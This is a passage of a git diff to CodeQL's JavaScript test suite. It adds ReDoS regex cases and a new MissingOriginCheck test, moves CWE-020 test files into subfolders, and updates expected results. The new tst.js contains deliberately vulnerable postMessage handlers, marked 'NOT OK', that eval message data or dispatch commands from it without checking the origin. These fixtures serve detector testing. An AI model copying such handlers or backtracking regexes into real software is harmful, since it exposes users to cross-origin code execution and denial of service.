diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected
index 5da60a896bb..96919f8717d 100644
--- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected
+++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected
@@ -119,6 +119,8 @@
 | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | Strings starting with '/*' and with many repetitions of 'a/*' can start matching anywhere after the start of the preceeding \\/\\*[\\d\\D]*?\\*\\/ |
 | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | Strings with many repetitions of '9' can start matching anywhere after the start of the preceeding \\d+ |
 | polynomial-redos.js:124:33:124:35 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+$ |
+| polynomial-redos.js:130:21:130:22 | c+ | Strings starting with 'c' and with many repetitions of 'c' can start matching anywhere after the start of the preceeding cc+D |
+| polynomial-redos.js:133:22:133:23 | f+ | Strings starting with 'f' and with many repetitions of 'f' can start matching anywhere after the start of the preceeding ff+G |
 | regexplib/address.js:27:3:27:5 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{4}\\)?(\\s*\|-)\\d{3}(\\s*\|-)\\d{3}\\s*) |
 | regexplib/address.js:27:48:27:50 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{3}\\)?(\\s*\|-)\\d{3}(\\s*\|-)\\d{4}\\s*) |
 | regexplib/address.js:27:93:27:95 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*(7\|8)(\\d{7}\|\\d{3}(\\-\|\\s{1})\\d{4})\\s*) |
diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected
index f91f2df85d6..dccfcc03ed3 100644
--- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected
+++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected
@@ -197,6 +197,16 @@ nodes
 | polynomial-redos.js:123:13:123:20 | replaced |
 | polynomial-redos.js:124:12:124:17 | result |
 | polynomial-redos.js:124:12:124:17 | result |
+| polynomial-redos.js:129:6:129:42 | modified |
+| polynomial-redos.js:129:17:129:23 | tainted |
+| polynomial-redos.js:129:17:129:42 | tainted ... g, "b") |
+| polynomial-redos.js:130:2:130:9 | modified |
+| polynomial-redos.js:130:2:130:9 | modified |
+| polynomial-redos.js:132:6:132:50 | modified2 |
+| polynomial-redos.js:132:18:132:24 | tainted |
+| polynomial-redos.js:132:18:132:50 | tainted ... g, "e") |
+| polynomial-redos.js:133:2:133:10 | modified2 |
+| polynomial-redos.js:133:2:133:10 | modified2 |
 edges
 | lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x |
 | lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x |
@@ -377,6 +387,8 @@ edges
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:118:2:118:8 | tainted |
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:118:2:118:8 | tainted |
 | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:121:18:121:24 | tainted |
+| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:129:17:129:23 | tainted |
+| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:132:18:132:24 | tainted |
 | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted |
 | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted |
 | polynomial-redos.js:68:18:68:24 | req.url | polynomial-redos.js:68:18:68:24 | req.url |
@@ -387,6 +399,14 @@ edges
 | polynomial-redos.js:123:3:123:20 | result | polynomial-redos.js:124:12:124:17 | result |
 | polynomial-redos.js:123:3:123:20 | result | polynomial-redos.js:124:12:124:17 | result |
 | polynomial-redos.js:123:13:123:20 | replaced | polynomial-redos.js:123:3:123:20 | result |
+| polynomial-redos.js:129:6:129:42 | modified | polynomial-redos.js:130:2:130:9 | modified |
+| polynomial-redos.js:129:6:129:42 | modified | polynomial-redos.js:130:2:130:9 | modified |
+| polynomial-redos.js:129:17:129:23 | tainted | polynomial-redos.js:129:17:129:42 | tainted ... g, "b") |
+| polynomial-redos.js:129:17:129:42 | tainted ... g, "b") | polynomial-redos.js:129:6:129:42 | modified |
+| polynomial-redos.js:132:6:132:50 | modified2 | polynomial-redos.js:133:2:133:10 | modified2 |
+| polynomial-redos.js:132:6:132:50 | modified2 | polynomial-redos.js:133:2:133:10 | modified2 |
+| polynomial-redos.js:132:18:132:24 | tainted | polynomial-redos.js:132:18:132:50 | tainted ... g, "e") |
+| polynomial-redos.js:132:18:132:50 | tainted ... g, "e") | polynomial-redos.js:132:6:132:50 | modified2 |
 #select
 | lib/closure.js:4:5:4:17 | /u*o/.test(x) | lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | This $@ that depends on $@ may run slow on strings with many repetitions of 'u'. | lib/closure.js:4:6:4:7 | u* | regular expression | lib/closure.js:3:21:3:21 | x | library input |
 | lib/indirect.js:2:5:2:17 | /k*h/.test(x) | lib/indirect.js:1:32:1:32 | x | lib/indirect.js:2:16:2:16 | x | This $@ that depends on $@ may run slow on strings with many repetitions of 'k'. | lib/indirect.js:2:6:2:7 | k* | regular expression | lib/indirect.js:1:32:1:32 | x | library input |
@@ -474,3 +494,5 @@ edges
 | polynomial-redos.js:116:2:116:35 | tainted ... \\*\\//g) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '/*' and with many repetitions of 'a/*'. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
 | polynomial-redos.js:118:2:118:25 | tainted ... \\d+)+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '9'. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
 | polynomial-redos.js:124:12:124:43 | result. ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:124:12:124:17 | result | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:124:33:124:35 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:130:2:130:31 | modifie ... g, "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:130:2:130:9 | modified | This $@ that depends on $@ may run slow on strings starting with 'c' and with many repetitions of 'c'. | polynomial-redos.js:130:21:130:22 | c+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:133:2:133:32 | modifie ... g, "b") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:133:2:133:10 | modified2 | This $@ that depends on $@ may run slow on strings starting with 'f' and with many repetitions of 'f'. | polynomial-redos.js:133:22:133:23 | f+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js
index a6648c0ed65..2e08d436516 100644
--- a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js
+++ b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js
@@ -125,4 +125,10 @@ app.use(function(req, res) {
 	})();
 
 	tainted.match(/(https?:\/\/[^\s]+)/gm); // OK
+
+	var modified = tainted.replace(/a/g, "b");
+	modified.replace(/cc+D/g, "b"); // NOT OK
+	
+	var modified2 = tainted.replace(/a|b|c|\d/g, "e");
+	modified2.replace(/ff+G/g, "b"); // NOT OK
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp.expected b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp.expected
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.expected
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp.qlref b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp.qlref
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/tst-IncompleteHostnameRegExp.js b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/tst-IncompleteHostnameRegExp.js
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck.expected b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck.expected
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.expected
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck.js b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck.js
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck.qlref b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.qlref
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck.qlref
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheck.qlref
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheckGood.js b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheckGood.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheckGood.js
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSchemeCheck/IncompleteUrlSchemeCheckGood.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization.expected b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization.expected
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.expected
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization.qlref b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization.qlref
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/tst-IncompleteUrlSubstringSanitization.js b/javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/tst-IncompleteUrlSubstringSanitization.js
rename to javascript/ql/test/query-tests/Security/CWE-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck.expected b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/IncorrectSuffixCheck.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck.expected
rename to javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/IncorrectSuffixCheck.expected
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck.qlref b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/IncorrectSuffixCheck.qlref
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck.qlref
rename to javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/IncorrectSuffixCheck.qlref
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/examples/IncorrectSuffixCheck.js b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/examples/IncorrectSuffixCheck.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/examples/IncorrectSuffixCheck.js
rename to javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/examples/IncorrectSuffixCheck.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/examples/IncorrectSuffixCheckGood.js b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/examples/IncorrectSuffixCheckGood.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/examples/IncorrectSuffixCheckGood.js
rename to javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/examples/IncorrectSuffixCheckGood.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/tst.js b/javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/tst.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/tst.js
rename to javascript/ql/test/query-tests/Security/CWE-020/IncorrectSuffixCheck/tst.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.expected b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.expected
new file mode 100644
index 00000000000..58fb6ce7997
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.expected
@@ -0,0 +1,3 @@
+| tst.js:11:20:11:24 | event | Postmessage handler has no origin check. |
+| tst.js:24:27:24:27 | e | Postmessage handler has no origin check. |
+| tst.js:40:27:40:27 | e | Postmessage handler has no origin check. |
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.qlref b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.qlref
new file mode 100644
index 00000000000..02296c134e1
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/MissingOriginCheck.qlref
@@ -0,0 +1 @@
+Security/CWE-020/MissingOriginCheck.ql
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/tst.js b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/tst.js
new file mode 100644
index 00000000000..6e5c0ce6a14
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingOriginCheck/tst.js
@@ -0,0 +1,70 @@
+window.onmessage = event => { // OK - good origin check
+    let origin = event.origin.toLowerCase();
+
+    if (origin !== window.location.origin) {
+        return;
+    }
+  
+    eval(event.data);
+}
+
+window.onmessage = event => { // NOT OK - no origin check
+    let origin = event.origin.toLowerCase();
+
+    console.log(origin);
+    eval(event.data);
+}
+
+window.onmessage = event => { // OK - there is an origin check
+    if (event.origin === "https://www.example.com") {
+      // do something
+    }
+}
+
+self.onmessage = function(e) { // NOT OK
+    Commands[e.data.cmd].apply(null, e.data.args);
+};
+
+window.onmessage = event => { // OK - there is an origin check
+    if (mySet.includes(event.origin)) {
+        // do something
+    }
+}
+
+window.onmessage = event => { // OK - there is an origin check
+    if (mySet.includes(event.source)) {
+        // do something
+    }
+}
+
+self.onmessage = function(e) { // NOT OK
+    Commands[e.data.cmd].apply(null, e.data.args);
+};
+
+window.addEventListener('message', function(e) { // OK - has a good origin check
+    if (is_sysend_post_message(e) && is_valid_origin(e.origin)) {
+        var payload = JSON.parse(e.data);
+        if (payload && payload.name === uniq_prefix) {
+            var data = unserialize(payload.data);
+            sysend.broadcast(payload.key, data);
+        }
+    }
+});
+
+function is_valid_origin(origin) {
+    if (!domains) {
+        warn("no domains configured");
+        return true;
+    }
+    var valid = domains.includes(origin);
+    if (!valid) {
+        warn("invalid origin: " + origin);
+    }
+    return valid;
+}
+
+window.onmessage = event => { // OK - the check is OK
+    if ("https://www.example.com".startsWith(event.origin)) {
+      // do something
+    }
+}
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor.expected b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.expected
similarity index 88%
rename from javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor.expected
rename to javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.expected
index abc97d625d9..0554d826383 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.expected
@@ -1,13 +1,3 @@
-| tst-IncompleteHostnameRegExp.js:2:2:2:24 | /^http: ... le.com/ | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:3:2:3:29 | /^http: ... le.com/ | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:5:2:5:29 | /^http: ... le.net/ | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:6:2:6:43 | /^http: ... b).com/ | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:11:13:11:38 | "^http: ... le.com" | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:12:14:12:39 | "^http: ... le.com" | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:15:22:15:47 | "^http: ... le.com" | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:19:17:19:35 | '^test.example.com' | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:40:2:40:30 | /^https ... le.com/ | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
-| tst-IncompleteHostnameRegExp.js:55:13:55:39 | '^http: ... le.com' | This hostname pattern may match any domain name, as it is missing a '$' or '/' at the end. |
 | tst-SemiAnchoredRegExp.js:3:2:3:7 | /^a\|b/ | Misleading operator precedence. The subexpression '^a' is anchored at the beginning, but the other parts of this regular expression are not |
 | tst-SemiAnchoredRegExp.js:6:2:6:9 | /^a\|b\|c/ | Misleading operator precedence. The subexpression '^a' is anchored at the beginning, but the other parts of this regular expression are not |
 | tst-SemiAnchoredRegExp.js:12:2:12:9 | /^a\|(b)/ | Misleading operator precedence. The subexpression '^a' is anchored at the beginning, but the other parts of this regular expression are not |
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor.qlref b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor.qlref
rename to javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/tst-SemiAnchoredRegExp.js b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-SemiAnchoredRegExp.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/tst-SemiAnchoredRegExp.js
rename to javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-SemiAnchoredRegExp.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/tst-UnanchoredUrlRegExp.js b/javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-UnanchoredUrlRegExp.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/tst-UnanchoredUrlRegExp.js
rename to javascript/ql/test/query-tests/Security/CWE-020/MissingRegExpAnchor/tst-UnanchoredUrlRegExp.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI.expected b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.expected
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI.expected
rename to javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.expected
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI.qlref b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.qlref
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI.qlref
rename to javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/UntrustedDataToExternalAPI.qlref
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/tst-UntrustedDataToExternalAPI.js b/javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/tst-UntrustedDataToExternalAPI.js
rename to javascript/ql/test/query-tests/Security/CWE-020/UntrustedDataToExternalAPI/tst-UntrustedDataToExternalAPI.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape.expected b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.expected
similarity index 94%
rename from javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape.expected
rename to javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.expected
index 39084b5867e..6cd6e27b0ed 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.expected
@@ -1,6 +1,3 @@
-| tst-IncompleteHostnameRegExp.js:42:13:42:65 | '^http[ ... \\/(.+)' | The escape sequence '\\/' is equivalent to just '/'. |
-| tst-SemiAnchoredRegExp.js:72:13:72:40 | '^good\\ ... \\\\.com' | The escape sequence '\\.' is equivalent to just '.'. |
-| tst-SemiAnchoredRegExp.js:109:2:109:45 | /^((\\+\| ... ?\\d\\d)/ | The escape sequence '\\:' is equivalent to just ':'. |
 | tst-escapes.js:19:8:19:11 | "\\ " | The escape sequence '\\ ' is equivalent to just ' '. |
 | tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\a' is equivalent to just 'a'. |
 | tst-escapes.js:20:1:20:54 | /\\a\\b\\c ... x\\y\\z"/ | The escape sequence '\\e' is equivalent to just 'e'. |
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape.ql b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.ql
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape.ql
rename to javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessCharacterEscape.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UselessRegExpCharacterEscape.expected b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.expected
similarity index 92%
rename from javascript/ql/test/query-tests/Security/CWE-020/UselessRegExpCharacterEscape.expected
rename to javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.expected
index d37ee6a0e28..f7badbcbd86 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UselessRegExpCharacterEscape.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.expected
@@ -1,6 +1,3 @@
-| tst-IncompleteHostnameRegExp.js:55:26:55:27 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-IncompleteHostnameRegExp.js:55:13:55:39 | '^http: ... le.com' | regular expression |
-| tst-SemiAnchoredRegExp.js:70:19:70:20 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-SemiAnchoredRegExp.js:70:13:70:36 | '^good\\ ... r\\.com' | regular expression |
-| tst-SemiAnchoredRegExp.js:70:31:70:32 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-SemiAnchoredRegExp.js:70:13:70:36 | '^good\\ ... r\\.com' | regular expression |
 | tst-escapes.js:13:11:13:12 | '\\b' is a backspace, and not a word-boundary assertion | The escape sequence '\\b' is a backspace, and not a word-boundary assertion when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
 | tst-escapes.js:13:13:13:14 | '\\c' is equivalent to just 'c', so the sequence is not a character class | The escape sequence '\\c' is equivalent to just 'c', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
 | tst-escapes.js:13:15:13:16 | '\\d' is equivalent to just 'd', so the sequence is not a character class | The escape sequence '\\d' is equivalent to just 'd', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:13:8:13:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UselessRegExpCharacterEscape.qlref b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.qlref
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/UselessRegExpCharacterEscape.qlref
rename to javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.qlref
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/tst-escapes.js b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/tst-escapes.js
similarity index 100%
rename from javascript/ql/test/query-tests/Security/CWE-020/tst-escapes.js
rename to javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/tst-escapes.js
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected
index dbf8ba4cbc2..e81dbd4d99a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected
@@ -136,6 +136,30 @@ nodes
 | clipboard.ts:33:19:33:68 | e.origi ... /html') |
 | clipboard.ts:33:19:33:68 | e.origi ... /html') |
 | clipboard.ts:33:19:33:68 | e.origi ... /html') |
+| clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:15:43:55 | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') |
+| clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:50:29:50:32 | html |
+| clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:13:71:62 | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') |
+| clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:73:29:73:39 | droppedHtml |
+| clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:15:98:54 | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') |
+| clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:99:23:99:26 | html |
+| clipboard.ts:99:23:99:26 | html |
 | custom-element.js:5:26:5:36 | window.name |
 | custom-element.js:5:26:5:36 | window.name |
 | custom-element.js:5:26:5:36 | window.name |
@@ -299,6 +323,42 @@ nodes
 | dates.js:61:42:61:86 | dayjs.s ... (taint) |
 | dates.js:61:81:61:85 | taint |
 | dates.js:61:81:61:85 | taint |
